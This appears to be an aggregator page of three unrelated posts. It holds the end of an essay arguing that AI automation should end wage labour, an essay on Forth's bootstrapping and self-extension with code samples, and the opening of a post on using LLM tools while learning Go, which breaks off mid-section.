Psychologically, jobs teach you a very specific lesson:

Your value is conditional.
You are lovable if you are useful.
You are safe if you are busy.

Quit, get fired, or burn out and watch how quickly the floor vanishes.
Watch how people say “So what are you doing now?” with that subtle edge of worry, like unemployment is an infection.

Spiritually, jobs mutilate our relationship to time.

Instead of being a finite, precious thing we explore, time becomes a resource we sell in blocks . You don’t wake up into a day; you wake up into a timesheet.

How do you develop a sense of self when every hour must be justified to an external ledger?

How do you hear anything like an inner voice when Outlook dings every four minutes and your body is Masloved to respond like a lab rat to the bell?

Jobs are a theology.

They promise:

  • redemption through productivity (“Do what you love and you’ll never work a day in your life” – worst curse ever written),

  • afterlife through career progression (“keep grinding and one day you’ll make it”),

  • community through coworkers (“we’re a family here,” says the company that will fire you via email).

In exchange, they demand faith. You must believe this is necessary, that this is how it has to be, that the alternative is chaos.

And if you stop believing?

Sartre said hell is other people. I think hell is the moment you realize you no longer believe in the job religion, but you still have to show up every day and pretend . Žižek would call this ideology: we know the system is absurd, but we keep performing it anyway.

You cannot be fully honest, because honesty would sound like sabotage.

“I’m here so I don’t starve.”
“This work does not feel meaningful.”
“I’m not thriving; I’m enduring.”

Try saying that at your next performance review and see how quickly the mood turns.

So you split: one self that shows up to the job, makes small talk, hits targets; another self that surfaces at 23:41 in the dark, scrolling, wondering what the fuck happened to your teenage dreams.

Now the machines arrive, not as Hollywood villains, but as competent interns from another dimension .

Give them your report, they rewrite it.
Give them your code, they debug it.
Give them your marketing plan, they structure, analyze, optimize.
Give them your legalese, they summarize and flag risks.

Give them your job task list and watch, in slow-motion horror, how many items are just… text and routine.

This isn’t speculative. This is already true for a depressing percentage of office work, and the curve is pointing straight up.

Now add humanoid robots for physical tasks. At first they’re expensive, fragile, and PR fluff. Then they’re cheaper. Then they’re standard. Then they’re invisible, like the software that quietly did to call centers what robots will soon do to warehouses.

Capital will use this to cut wages and “streamline headcount.” Of course it will. That’s what capital does. Not because CEOs are individually evil (though many are definitely sociopaths), but because the system rewards whoever squeezes more output from fewer humans.

We should absolutely fight that. Unionize, regulate, tax automation gains, build public infrastructure.

But at a deeper level, something else is happening:
AI is exposing how much of our so-called “necessary” work was always a story.

The job religion is losing its monopoly because a machine can now perform the rituals.

The question that remains is very simple:

If the point is not to keep humans busy…
what is the point?

We’re not naïve here. Ending the era of jobs is not a long weekend and a TED talk.

Jobs, for all their cruelty, provide:

  • structure (“I know where to be at 9”),

  • community (office friendships, shared memes, gossip),

  • identity (“I’m a nurse / teacher / carpenter,” for the lucky ones),

  • a script (“I know what next year roughly looks like”).

Take that away and you don’t get instant utopia. You get a psychic freefall .

Imagine millions of people waking up one day structurally unnecessary to the economy, with no replacement narrative in place. Not “You’re free now,” but “The system doesn’t know what to do with you, please manage your own despair.”

That’s not liberation. That’s cruelty on a scale our nervous systems are not built for.

So yes, we need a transition, and it will be messy.

  • We will need new rhythms for days and weeks that aren’t defined by clocking in.

  • We will need new institutions of community – not offices, but workshops, labs, studios, clubs, care centers, gardens, research guilds, whatever – places where humans gather to do things that matter without a boss breathing down their neck for quarterly results.

  • We will need new ways to recognize status : not “job title and salary,” but contribution, curiosity, care, creativity.

  • We will need economic architecture: universal basic income, or even better, universal basic services (housing, healthcare, education, mobility) that are not held hostage by employers.

And we’ll need therapy. A lot of it.

Because when you tell people, “You no longer have to sell your life to survive,” you don’t get a Netflix montage of instant self-discovery. You get withdrawal symptoms from a drug called Productivity.

You get people asking: Who am I when nobody is grading me?

Ah yes, the favorite argument of those who cannot imagine a life they didn’t outsource to their employer.

Look at history for a second—but properly this time.

The aristocrats and nobles, for all their obscene privilege and parasitic cruelty, did not spend their idle time staring at a wall. Many became:

  • astronomers,

  • composers,

  • philosophers,

  • inventors,

  • patrons of art,

  • obsessive collectors of everything from butterflies to languages.

They had time and security , and they filled that space with obsessions. We remember their names not because they had jobs, but because they had latitude.

The idea that most people, given time and basic security, would choose to do nothing is a slander invented by those who need you afraid.

Look around: it’s after work, and people are:

  • writings obscure Substacks (I wrote this essay incrementally after work, exhausted and disillusioned, and still I wrote it),

  • running community sports clubs for free,

  • making fan art, writing fanfic, modding games,

  • caring for kids, elders, sick relatives,

  • fixing old cars, volunteering at shelters, knitting, coding, arguing on forums, learning obscure instruments.

This is what humans do even when exhausted .

Now imagine what they’d do if they weren’t mentally flattened by eight hours of bullshit first.

Let’s be fair and walk around this thing a bit.

Point of view 1: The worker who loves their job.
They exist. The nurse who feels deeply called; the scientist who wakes up burning with curiosity; the craftsperson whose whole body sings when the piece comes out right.

For them, “ending the era of jobs” doesn’t mean ripping away their purpose. It means de-linking their purpose from coercion . You can still nurse, research, build, teach. But not under the permanent threat of destitution if you stop.

Point of view 2: The anxious middle-class office soul.
They fear automation because it threatens the one thing insulating them from the abyss: the job title. Ending jobs feels like ending self.

For them, the transition must come with a new story : you are not your position. Your ability to learn, care, create, and participate is portable. The safety net must be real enough that they dare to believe it.

Point of view 3: The owner of capital.
They love jobs, not because they love people working, but because jobs are the hose through which surplus flows upwards. Ending jobs sounds like ending profit.

But even here, there’s a hard truth: in a fully automated, hyper-productive system with no one able to buy anything because they have no wages, your profit is worth as much as a throne in an empty kingdom. Something has to give: ownership models, tax regimes, dividend structures, all of it?

Point of view 4: The global poor.
They might rightfully ask: “You talk about ending jobs; we never had good ones to begin with.” Any serious transition must not be a rich-country hobby. It must reckon with global injustice, not freeze it in place.

Ending the era of jobs must not mean: “We automate our bullshit while you still sew our clothes in unsafe factories.” It means automating dangerous, exhausting work everywhere, then using the gains to fund global floors of dignity.

I’m not offering a fucking policy platform. I’m not running for office. I can barely run my own life.

But some contours are obvious, I think:

  1. Decouple survival from employment.

    • Universal basic services: housing, healthcare, education, public transit, internet access as rights, not products.

    • Income floors: UBI or negative income tax or whatever configuration works locally. The point is: no one should be blackmailed by hunger into pointless labor.

  2. Shorten and soften the remaining work.

    • 20–30 hour weeks, distributed.

    • Rotating, voluntary participation in necessary but unpleasant tasks, mediated by tech and compensated fairly.

    • Labor law that treats burnout as structural violence, not individual weakness.

  3. Democratize the machines.

    • Public or cooperative ownership of major AI and robotics infrastructure.

    • Taxation of automation gains, funneled back into the commons.

    • Open-source models, citizen labs, community computing centers.

  4. Build new temples of meaning.
    Not religious temples (though those will exist too) but civic ones: libraries, makerspaces, research hubs, local observatories, theaters, clubs, gardens, game dev collectives. Places where prestige does not come from profit, but from contribution, invention, care.

  5. Normalize non-productivity as a virtue.
    Leisure is not sin; it is the condition for thinking clearly. Time spent staring at the sky, at the sea, at a blank page, is not “wasted.” It’s where philosophy, art, and everything else that has a soul comes from.

Camus talked about imagining Sisyphus happy. Maybe the point now is to take away the rock and see what he does when he’s no longer condemned to push it. Does he climb the mountain just for the view? Does he build an observatory? Does he lie in the grass and finally sleep?

Whatever he does, it will finally be his .

Ending jobs is not about making humans soft and idle and useless.

It’s about ending the compulsory theater where effort is only recognized if it fattens a ledger. It’s about admitting that tying basic dignity to wage labor was always a barbaric hack, only tolerated because we lacked the tools to do better.

NOW WE HAVE THOSE TOOLS, DAMMIT.

We have machines that can absorb more and more of the routine, dangerous, and boring work. We have networks that can coordinate massive projects without feudal hierarchies. We have enough historical hindsight to know which ideologies lead to concentrations camps and gulags and which lead to shareholder cults.

The only question that matters:

Are we brave enough to admit that the job is over?
And if we are, will we design a world for freed humans,
or for obsolete ones?

I don’t know what the next decade looks like. I know that clinging to jobs as sacred, when machines are clearly better at many of them, is spiritual cowardice.

Let the era of jobs end.
Let the era of lives begin.

Not lives as permanent vacations.
Lives as experiments. Lives as projects.
Lives where your worth is not a line on a resume,
but the ripples you leave in other people’s days.

We can choose to be the last generation that spent its best hours under fluorescent lights, pretending this was the height of civilization.

Or we can be the first generation that looked at the robots walking onto the factory floor, looked at the models spinning up in the cloud, and said:

“Good.
Take the work.
We’ll take the world back.”

Enjoy your time,

Antonio Melonio

If you still value independent, free, critical, and personal thoughts, please consider supporting writers such as me financially. It’s the only way to make sure the world doesn’t drown in curated bullshit.

And yes, I know, I know. Everyone hates subscriptions. I understand. That’s why you can support my work with a one-time donation (it’s like two clicks). No commitments, just a little tip. Some coffee money for your weird friend.

You can, of course, also support me with a monthly subscription on Patreon or here on Substack:

A monthly subscription ensures writers receive a predictable, constant income. It’s how one makes a living, I guess.

Thank you. And fuck your job.

An Attempt at a Compelling Articulation of Forth's Practical Strengths and Eternal Usefulness

Lobsters
im-just-lee.ing
2025-12-08 00:22:52
Comments...
Original Article
                  An Attempt at a Compelling Articulation
                      of Forth's Practical Strengths
                          and Eternal Usefulness


                                   PRELUDE

                              Problem Statement

    It's done! We have that crucial ingredient giving life to that little
    Forth, allowing it to walk by itself! Unfortunately, you'll soon see
    that after a few steps, this little creature stumbles and falls.
    What is it lacking, a little balance maybe?

      -- Virgil Dupras

Explaining why Forth is still relevant has become a bittersweet, ironic comedy 
routine enthusiasts and operators are finding themselves in more frequently.
We usually begin with lavish statements of simplicity, and ease the
reader into a fog of what Forth is. Finally we slam back to Earth with examples.
Examples so contrived that they have the complete opposite effect, a tint and a
dulling of any allure that may have existed as a spark in the prospective
Forther's mind. Each time a speech of grandeur falling flat. 

Virgil's quote is a perfect specimen of this phenomenon. The miracle of popping
into existence - walking nonetheless - is a direct testament to Forth's
evolutionary nature. It's such a strong positive to begin with, yet immediately
follows up with "it's useless".

Virgil needs no defense: he's right. It is useless. The point is, that statement
is a negative wrinkle for what is a positive feature: a foundational, minimal
core to build on. It's these instances of faulter that contribute to Forth's
continual uncertainty in today's context.

On Saturday I saw the final act causing me to want to write this piece.


                  Here Use This Honda Civic Made of Lambos

A long-running project called eforth was linked on lobste.rs, a link aggregation
site, attempting to sell Forth on still having relevancy:
https://github.com/chochain/eforth.

The author details their history, how they worked with a prolific Forth user and
contributor, Dr. Chen Hanson Ting (the creator of  eforth, passed away 2022),
and why their particular Forth project is a successor to his work.

But it's the first paragraph that takes the cake.

The first paragraph unironically reads:

    With all the advantages, it is unfortunate that Forth lost out to C
    language over the years and have been reduced to a niche. Per ChatGPT:
    due to C's broader appeal, standardization, and support ecosystem
    likely contributed to its greater adoption and use in mainstream
    computing.

The project's README then proceeds into lengthy detail about how to implement 
Forth in C.

Yep.

It is the fastest open-closed case I've seen to date of someone explaining why
you'd use Forth and then miraclously shoot both their feet at once.

It seriously left me empty-minded after reading.

The only hint of relevancy revolves around compilation and being able to build
the system for many architectures, thanks to C compilers and ease of
implementation.


                Why Do My Words Have Weight And Why They Don't

I'm not a Forth guru; a great sage like those of LISP, C, or Haskell. No
universal promise can be made to you that what I say is unyielding truth. You
will have to verify that for yourself. What I can promise is the perspective
from a simple, passionate programmer of a couple decades, and 3 years of those
belong to Forth. Never has my heart been completely enveloped by an idea. The
allure and compulsion has practically  caused me to fall in love with a
programming language. Maybe this is how Pythagoreans felt about their triangles.
With this great fire, I will tell you why Forth is forever.


                              WHAT IS FORTH

It's very possible many readers will be hearing about Forth for the first time
when they encounter this essay. There are two recommended readings for all
Forth first timers by Leo Brodie: Starting Forth, and Thinking Forth. The former
focuses more on concrete code, and the latter is a philosophical read. They go
hand-in-hand and I can't really recommend one over the other: it really depends
on the kind of person you are.

I will do my best to give an extremely short description of what Forth is in
this essay to remain self-contained.


                      Explain Like I'm 5: Forth Edition

Forth is a pancake stacking machine with superpowers.

  top      pancake5
           pancake4
           pancake3
           pancake2
  bottom   pancake1

You eat these pancakes like you normally would: from top to bottom.

What do you normally eat pancakes with? A fork and a knife.

In Forth you can make your own super special fork and knife, maybe they shoot
lasers, but you can also make robots that help you.

For example, the Gigafork-o-tron 9000 lets you eat 3 pancakes at once, by
smushing them into 1 big pancake for you to eat:

           smushed_pancake
           pancake2
           pancake1

With 100s of robots you can do some really cool stuff when you start feeding
them things other than pancakes, like build video games.

Why use Forth and not something else? Because all you need are some elastic
bands, pencils and paper to build this stacking machine with superpowers! These
are all items you've got lying around the house! Get going!


                  Explain Like I'm Familiar With Programming

Ok let's try again: so Forth is a stack-based programming language.

On the surface that statement means nothing except somehow the stack data
structure is somehow involved.

In Forth it's core to data passing (arguments) and your memory pool (allocated
memory).

To program arguments onto the stack, list them out before functions (words):

   1 2 3 4 + + +
-> 1 2 7 + +
-> 1 9 +
-> 10

We're left with 10 by the end of the reduction.

You're intended to create 100s of words (functions), which are inserted into
the dictionary (a global stack), which make up a vocabulary. Yes, each Forth
program is a domain specific language (DSL).

  \ A comment describing what's going on.
  \ ( stuff ) is an inline comment but it is used commonly to denote expected
  \ function arguments coming in on the stack. They do nothing.
  : my-func  ( int int -- int ) * 10 + ;

Forth can manipulate its own interpreter at "compile time". You can leverage
this when needing to parse formats, or create new syntax.

  s" something-to-parse-until" parse

Doing common work like splitting strings or concatenating lists is all provided
as words too.

That's Forth. It's so simple the idea is you can bootstrap it from assembly
relatively quickly.


                          SUPERNATURAL BOOTSTRAPPING

                     Programming Language By Synthesis

Programmers will often use other programming languages to implement their new
programming language. The choice of parent language is usually determined by
what problems the child language is intended to solve. Choosing a suitable
parent reduces time to implementation, keeping the programmer motivated and
actually achieving a finished program.

A side effect of using a parent language is the child will inherit its traits.
The performance ceiling of the parent becomes the ceiling of the child, unless
it's able to evolve a code generator. All available parent language
packages and libraries are available to the child for use toward its own
development and extensions. Any memory management and access faults are
transfered.

It's understandable why using an existing language to bootstrap your own is very
reasonable. 

A familiar case of the preceeding is Python. Python has and continues to be
written in the C programming language. Its C core hardly minimal, clocking in
at 35% of the whole codebase as of writing.

The Glasgow Haskell Compiler, the most prolific functional programming language
compiler, does the same, but with an exceptionally smaller, desireable core
size: 8% is C. Unfortunately it uses Python as well, pulling in 952 C source
files if we are to require it to build. So is it really small then, or simply
abstracted away into other software packages?

Clojure is a case of being a far descendant of C. Bootstrapped from Java,
which itself written in C++, further evolved from C. Clojure benefits from
Java's garbage collection and being able to interoperate with other Java source
files, while offering unparalleled expressiveness. CPUs that implement JVM
bytecode compatible hardware (such as the "Jazelle ARM extension") are an
interesting case of removing ancestrial ties, simplifying lineage. Similar
can be said with CPU architectures that favor C-like code.


                              C is Not Free

What's the problem then? C is the lingua-franca of the programming world. It
exists for nearly every practical architecture imaginable. It's free!

At the risk of getting absolutely roasted by two (or more) very strongly
opinionated communities, I will say pretty much (not every!) every mainstream
development in programming languages, Rust and Zig included, are guilty of this
fallacy. They are built around the illusion of their parent language having low
to zero cost.

LLVM is the typical basis of these languages: a heavy technology largely funded
by mega corporations. A Zig and Rust enthusiast argument about their language
being less complex than the other is off-putting. The reality is the complexity
comparison is surface level. The shape of two fruit are compared but the genetic
structure of the fruit is 90% the same. Theirs arguments revolve around
particular expressions of logic in various situations but ignores everything
else.

Zig and Rust experts will try to reason about this cost, that "they only make
up 1% of the code base". Uh, no, without that 1% there is nothing; the code will
not compile, and cannot be invoked. That 1% is made up of millions of dollars
and lines of code. It is not free, far from it for these LLVM-based languages!

Let me make an evidentary statement:

    A C compiler takes a non-trivial amount of energy to create.

Following are projects that I believe cover a range of full-featured to smallest
C compilers, and ran `sloccount` on them. The evidence leans toward a good
estimate, as the timelines match up with the commit histories and the amount of
contributors.* The results are organized from most to least expensive.


    clang**

    Total Physical Source Lines of Code (SLOC)                = 11,200,038
    Development Effort Estimate, Person-Years                 = 3,570.35
    Total Estimated Cost to Develop                           = $ 482,305,367

    gcc**

    Total Physical Source Lines of Code (SLOC)                = 8,208,908
    Development Effort Estimate, Person-Years                 = 2,576.50
    Total Estimated Cost to Develop                           = $ 348,049,714

    tcc

    Total Physical Source Lines of Code (SLOC)                = 108,038
    Development Effort Estimate, Person-Years                 = 27.31
    Total Estimated Cost to Develop                           = $ 3,688,901

    chibicc

    Total Physical Source Lines of Code (SLOC)                = 9,487
    Development Effort Estimate, Person-Years                 = 2.12
    Total Estimated Cost to Develop                           = $ 286,832

    *1 Of course you can call bullshit and verify yourself. The `sloccount`
       website has further testimonials to its usefulness in estimates. Even
       if the margin of error is a whole magnitude, the cost remains high.
    *2 Fun fact these took like 8+ minutes to crunch, the others were instant.
    *3 It must be made clear for transparency that clang and gcc SLOC counts
       include GIMPLE, LLVM, and other tooling. Generally speaking both
       compilers require them to work, but they include additional code for
       non-C compilers, such as ALGOL, Fortran, and GO, as well.

Now add on top the person-hours required to build the child language. Bonkers.


                      Programming Language By Evolution

New programming languages are also created through more natural, evolutionary
means. Common examples are C++ and TypeScript. C++ came to be from C programmers
required to handle ever-growning requirements and complexity of systems
software. Web developers turned to type-systems to deal with their own
ecosystem and social complexity. structuring JavaScript code written by people
(and now robots) from all walks of life. What could such an evolution look like
when we go back to the roots of programming: assembly?

Assembly is the lowest level of abstraction we can get from the computer. The
IBM 1401 from the 1960s forced humans to write code in literal 1s and 0s.
Quickly we learned mnemonics are easier on the brain than monotonous numerals.
Textual code is a one-to-one abstraction that arose from naturally using the
technology of the time. As programs grew in complexity, and humans being
incredibly good pattern matchers, they realized a lot of code could be
deduplicated into reuseable chunks. At first this took the form of subroutines,
but it was not enough. The macro was created to resolve this complexity.
Once again a natural solution to a natural problem. Now assembly programmers
could create systems beyond their normal comprehension - literally!

This is where Charles Moore (aka Chuck) enters the scene. The idea of Forth is
not particularly genius or crazy, but his resolve toward simplicity is something
to really celebrate. The story goes Chuck worked at various astronomical
observatories throughout the years, and needed to program the telescopes. He
found himself needing to interact with all the different hardware frequently.
Bringing a set of macros to each new telescope, this is the system that became
Forth. An evolution of assembly macros; Forth is a true example of holistic
design.

While it took years to refine the idea of what Forth was, the implementation of
a Forth-like takes place all the time, to this day. The first thing language
implementation learners do: implement a stack machine. When a technology
accidentally exists time-again the cost is even better than free. It just is.
For me this equivalent to discovering how to create your own molecules. A true
lingua-franca of the Turing machine.


                   Masterclass Example of a Forth Bootstrap

SmithForth is a golden textbook example of bootstrapping a Forth from nothing.
SmithForth literally constructs executable headers using binary, and each line
of binary maps to an instruction, with each commented in great detail.

Here is an excerpt:


################ Interpreter subroutines #######################################

99 05 43 4F 4D 50 4C #### COMPL Forth's COMPILE, B9 ( ebx=xt -- )
B0 FF AA                # compile >>>>>>>>>>>>>>>>> call r/m64          FF /2
B0 14 AA                #     al = _                mov r8, imm8        B0+rb ib
B0 25 AA                #         [rdi++] = al      stos m8             AA
93                      # eax = ebx                 xchg eax, r32       90+rd
AB                      # [rdi(++4)] = eax          stos m32            AB
C3                      # return                    ret                 C3


Absolutely psycho. And it goes on for ~500 lines. I am envious of the mind that
yields the mental model to parse this fine.

A C programmer in comparison would have to write a minimal C compiler this way,
to then write some C to bootstrap other C features. All while on that same
computer. Sounds painful. The person who wrote the smallest useful C compiler,
chibicc, shown in the previous section, also wrote 8cc. Both took over a year
to write.

Meanwhile the Forth programmer is off to solving their original problem in a
week. A full working environment. Their power continues to build as the
dictionary fills out with useful words. Maybe they go a little overboard and
develop a full operating system. That's the principle behind Virgil's incredible
Dusk OS. It's a testment to the practicality of doing that in Forth.


                     EXTENSION THROUGH SELF-MODIFICATION

Programming languages rarely expose methods to extend the language syntax
itself, or modify existing syntax. The latter is more common in interpreted
languages like Python or JavaScript, where an object property can be overridden
with a new one. Forget about this in systems languages. C++ has method override
but it's not the same: you cannot change the behavior of how addition works
on two 64-bit integers (such as treating them both as fixed-point numbers).
At most these languages expose complex macro or template systems, and it's a
discouraged practice depending on where, or how, you work. Adding more syntax to
already complex languages literally creates more complexity.

The opposite approach is taken in Forth: syntax is non-existent, so adding it
to simplify reasoning about the solution to a problem is encouraged. Each
program then is a narrow, well-focused expression of a solution.

For example, there's a complex tax situation, and you want to record and
calculate everything with some sort of special text record file. The playbook
for this problem is to write a parser. Design decisions such as number precision
and operations are made. Finally the the actual computations take place. Then
there's the output format.

In Forth, we leverage the language itself. Your program code doubles as the
record file. There is no separation because the Forth programmer can leverage
the Forth compiler, morphing it to their needs at run-time. Changing addition
to work on "bignum"s (numbers that have arbitrarily large precision) is a good
usecase of overriding the addition operation.

As you may have guessed, this is a real situation I found myself in. Encoding
tax brackets and having a system that calculated tax became trivial once I 
defined the "tax bracket" word. Cute how it's a literal bracket:

    ...

    \ Calculate a bracket.
    \ ac:accumulated capital, rb:remaining balance
    \ r:tax rate, l: upper limit
    : ]> ( ac rb r l -- ac rb )
      ( ac rb r l ) frot
      ( ac r l rb ) f2dup f< if
        fremaining frot frot f*
        ( ac rb tax ) frot
        ( rb tax ac ) f+ fswap
        ( ac rb ) else
        fswap fdrop f* f+ 0e \ rb is zero
        then
    ;

    : tax-cra-income ( income-to-tax -- collected )
      0e fswap
      ( collected remaining ) 0.150e  55867e ]>
                              0.205e 111733e ]>
                              0.260e 173205e ]>
                              0.290e 246752e ]>
                              0.330e fover   ]>
      fdrop
    ;

    ...

    accounts LeeBusiness
    accounts ACompany BCompany

    -5674.84e tax-sales   ACompany
    remaining  tax-income LeeBusiness

    -2145.66e            BCompany
    remaining tax-income LeeBusiness

    ...


Then we arrive at the point of divergence: most languages stop at a parser for a
new file format. Little Forth goes beyond: you can also modify and extend the
"outer interpreter".

This is the REPL most Forths offer to developers so they can poke and prod at
hardware. In this case the hardware is literally the computer you're working at.
It is common for Forth developers to create their own  rudimentary text editors
as an exercise. Quickly it becomes obvious how such a holistic system gives a
natural extension power very few other languages have.

Some people have taken this strength to the extreme: Virgil Dupras's DuskOS and
mschwartz's mykesforth both build entire operating systems off these principles.

DuskOS is intended to solve the goal of bootstrapping other C-based operating
systems with a Forth core that implements a C compiler.

mykesforth is a complete pure Forth OS.


                              EXECUTABLE COMPRESSION

Texas Instruments' introduction of the MSPM0C1104 this year (2025) has ushered
us into the world of nano-controllers. A computer that can sit on a pin-head.
With only 16 KiB of storage and 1KiB of memory. The 1980s were more generous:
most home computers had 64 KiB of memory and much more storage. It's no surprise
Forth found itself popular in that era. The ability to create essentially
compressed executable code was and still is unmatched and greatly desired. This
is achieved through a particular implementation called Indirect Threading Code
(ITC). Combined with heavy code refactoring into small functions, programs
become executable Lempel–Ziv–Welch compressions, which astonishingly also have a
concept of a "dictionary" and reusable parts. The parallels are remarkable.
There is literally no other language I'm aware of that does this kind of
optimization to this degree.

Briefly I will explain what ITC is.

Here is a pseudo example of some program code (& means address, : is a label):

  my_func:
   &other_func1
   &other_func2
   &other_func3

  other_func1:
    &deeper1
  other_func2:
    &deeper2
  other_func3:
    &deeper3

  deeper1:
    push a
    ld a, 7
    ...

  deeper2:
    ...

Each function, which is extremely small because we've done the correct practice
of refactoring them, reside somewhere in memory like usual. Compilers typically
will then use a CPU's `call` instruction to jump to the address and set the
return register. Forth instead opts to place these addresses to functions one
after the other. A function call may do tens to hundreds of lookups - so yes,
the trade-off is slower code... except you can decide to switch out that model
of function calling! It's a win-win. There is an even more compact variant
called Huffman Threading and it's exactly what it describes: using Huffman codes
to create indexes to functions. On the opposite end a developer can invoke
particular Forth compilers, such as gForth, to use familiar code optimizations
found in LLVM and other code generators, to generate fast code.

The best part of the above is you get the advantages by doing good practice.
Refactoring code into small composable functions is what everyone strives for in
the first place!


               ENLIGHTENMENT GAINED FROM EXPLICIT DATA-FLOW

Time for a little detour into the higher level topic of data-flow.

Being a stack-based language, Forth passes arguments to functions using the
stack. Yes, pretty much every other language in existence also does this, but
usually only after registers are exhausted, and it's implicit. Never does a
programmer explicitly need to say "this goes on the stack", it just sort of
happens, and is placed in whatever position is deemed most optimal by the
compiler.

In Forth once again the opposite is true: argument passing on the stack is
explicit! The most compelling reason for this is how natural it is to pass an
arbitrary amount of arguments to a function this way, and how portable that is.

As long as the target machine has memory that can be linearly accessed, it can
express a stack machine. The original Turing machine is essentially a stack
machine. There is something inherently natural about these machines.

After you use Forth for a little you begin to realize, there is no logical sense
to have it reversed: a computer cannot be told to do something, expecting input
to act on, without the input!

It makes way more sense to have that data preceed the operation: 4 7 +.
Personally seeing and taking this fact in for the first time kind of unlocked
something in my head. I'm led to try algebra this way. I'm led to doing every
day quick math this way. No more does order of operations or parenthesis matter,
the order is baked into the expression. And there's a trick to reading
expressions written this way: you can read them like operations consuming their
operators, sweeping your eyes from right to left.

With explict data-flow, value copies and reuses become extremely obvious. They
become painful to see in code, similar to when encountering `.unwrap`s in Rust.
There is a new drive to remove any copies, because it causes the stack to thrash
more. You  literally feel it in your brain when trying to reason about the stack
manipulations. These new experiences teach that we've had the blinders on this
whole time on data-flow.


                             AN ALTERNATIVE TO

                            An alternative to C

Python, JavaScript, Ruby being interpreted languages are incapable of writing
low level code to poke at memory registers, use pointers or inline assembly.

For years these needs have been fulfilled by C and C++, followed by some niche
languages like D. Within the last 10 years there has been an explosion of
contenders for a better systems / low-level programming language, with Rust and
Zig being the most well-known.

Meanwhile Forth has been busy benchwarming. Never do I see it recommended
as an alternative to C in programming discussions. It's surprising, because 
Forth  has the same low-level mechanisms as C and can express the same high
level constructs. It has pointers. It can poke arbitrary memory. The default
memory allocation model, the dictionary, can grow arbitrarily big, unlike C's
`malloc`. Forth has `alloc` too, but it's heavily discouraged. Sticking to
growing the dictionary forces the programmer to construct their program in such
a way that it only uses the memory it absolutely needs at any point in
execution.

All these C alternatives are also missing another Forth superpower: the REPL.
(Just like LISP!)

Forth is designed to play with hardware at run-time, being able to poke memory
with the keyboard as the program runs. The closest thing we've ever had to that
I think is Terry Davis's HolyC, that provides a C shell (lol), and could allow
the same technique.

And there's all the benefits that have been mentioned in previous sections:
cheap, fast, compact, simple, portable.


                           An alternative to LISP

If you've gotten this far, and love LISP, you have probably seen many parallels
to LISP throughout the essay. especially after the mention of REPL in the
previous section. The evidence is strong enough for me to believe that Forth
is some sort of LISP sibling.

LISP's birth took place in the sterile environment of academia at MIT, as a
language to further develop artificial intelligence. Forth was born in the
messy work world, with ever changing requirements and environments. I tell
people that Forth is a "working man's LISP", because of how closely it looks
like a LISP but born out of completely different circumstances.

Here are some direct code comparisons for a quick visual:

                   (+ 1 2 3 4 5) vs 5 4 3 2 1 + + + +

       (defun my_func (a b) ...) vs : my_func ( a b -- ) ... ;

                        'my_func vs 'add

    (LOOP (PRINT (EVAL (READ)))) vs BEGIN ACCEPT EVALUATE TYPE AGAIN


Is that not the just the coolest thing to see in awhile? A simple, fast,
low-level LISP is possible! It's called Forth! With a skip and a hop you can get
LISP-like list operations very easily:

  : E+ 1 - 0 do + loop ;
  1 2 3 4 5 5 E+


Now take into account how there is no garbage collection. Inline assembly is
possible. It is even more syntax-less than LISP. These are aspects I find myself
desiring more than hygenic macros, or data structures (lists) that also define
the language. Don't interpret that as me saying LISP sucks. It's me saying
I'm so incredibly glad there is a LISP-like with trade-offs I'm happy with. 
Forth is a chimera of the Turing Machine and the Lambda Calculus.


                         UNSUITABLE CLASSES OF USE

The purpose of this section is to trick the reader into thinking of their own
reasons why they would use Forth.

Imagine a venn diagram with these aspects:

                        Against       Both       For
                                    |        |
                      security      |        |
                      memory safety | cost   |   ???
                      logical rigor | no-ast |
                      teamwork      |        |

Since file formats parsed by Forth are Forth programs themselves, we can't
really say Forth is suitable for security, since someone could simply craft a
file that is also some malicious Forth code. On the opposite end, if you work
in a secure environment, this is no longer a problem. So Forth is suitable to
use in all secure environments. 

Working in a large team can be difficult with a growing list of vocabulary in
a custom Forth DSL. In contrast, Forth is an excellent language to work as a 
solo developer, allowing you to work in your own comfy mental models.

Type systems and logical constructions are not concepts available to a Forth
programmer - which allows them to achieve some of the most unholy logic ever,
and get away with it! Of course, they can always develop their own type system
to work within.

While the grand total cost of Forth is significantly less than pretty much any
other mainstream language, the human costs can be much higher. A C or JavaScript
programmer cost significantly less because they can use abstractions that are
consistent across thousands of codebases. We can ignore the underlying
technology cost "just because". We have agreed as a society, or at least with
some sort of inherent bias, to using free compilers and interpreters for the
most part. This is why Forth is generally rarely, if ever, suitable for a 
business, but thrives in individualism.

Those examples hopefully convey the duality of Forth's weaknesses.


                            CLOSING COMMENTARY

If there's one thing I'd like to drive home, it's the natural evolution of
Forth from the primoridial assembly ooze, and all the power for the low cost
it brings along.

I look forward to what challenges the next generation of Forth programmers will
face, and the beautiful spawn that will rise from them.


                  An Attempt at a Compelling Articulation
                      of Forth's Practical Strengths
                          and Eternal Usefulness

                          Thank you for reading.

                            - Lee

    Special thanks to paultag, austin, appledash, and jon, for peer reviewing!

                          2025-11-09T21:25-04:00 

François Marier: Learning a new programming language with an LLM

PlanetDebian
feeding.cloud.geek.nz
2025-12-08 00:15:00
I started learning Go this year. First, I picked a Perl project I wanted to rewrite, got a good book and ignored AI tools since I thought they would do nothing but interfere with learning. Eventually though, I decided to experiment a bit and ended up finding a few ways to use AI assistants effective...
Original Article

I started learning Go this year. First, I picked a Perl project I wanted to rewrite, got a good book and ignored AI tools since I thought they would do nothing but interfere with learning . Eventually though, I decided to experiment a bit and ended up finding a few ways to use AI assistants effectively even when learning something new.

Searching more efficiently

The first use case that worked for me was search. Instead of searching on a traditional search engine and then ending up on Stack Overflow , I could get the answer I was looking for directly in an AI side-window in my editor. Of course, that's bad news for Stack Overflow.

I was however skeptical from the beginning since LLMs make mistakes, sometimes they making up function signatures or APIs that don't exist. Therefore I got into the habit of going to the official standard library documentation to double-check suggestions. For example, if the LLM suggests using strings.SplitN , I verify the function signature and behaviour carefully before using it. Basically, " don't trust and do verify."

I stuck to the standard library in my project , but if an LLM recommends third-party dependencies for you, make sure they exist and that Socket doesn't flag them as malicious. Research has found that 5-20% of packages suggested by LLMs don't actually exist , making this a real attack vector (dubbed "slopsquatting").

Autocomplete is too distracting

A step I took early on was to disable AI autocomplete in my editor. When learning a new language, you need to develop muscle memory for the syntax. Also, Go is no Java. There's not that much boilerplate to write in general.

I found it quite distracting to see some almost correct code replace my thinking about the next step. I can see how one could go faster with these suggestions, but being a developer is not just about cranking out lines of code as fast as possible, it's also about constantly learning new things (and retaining them).

Asking about idiomatic code

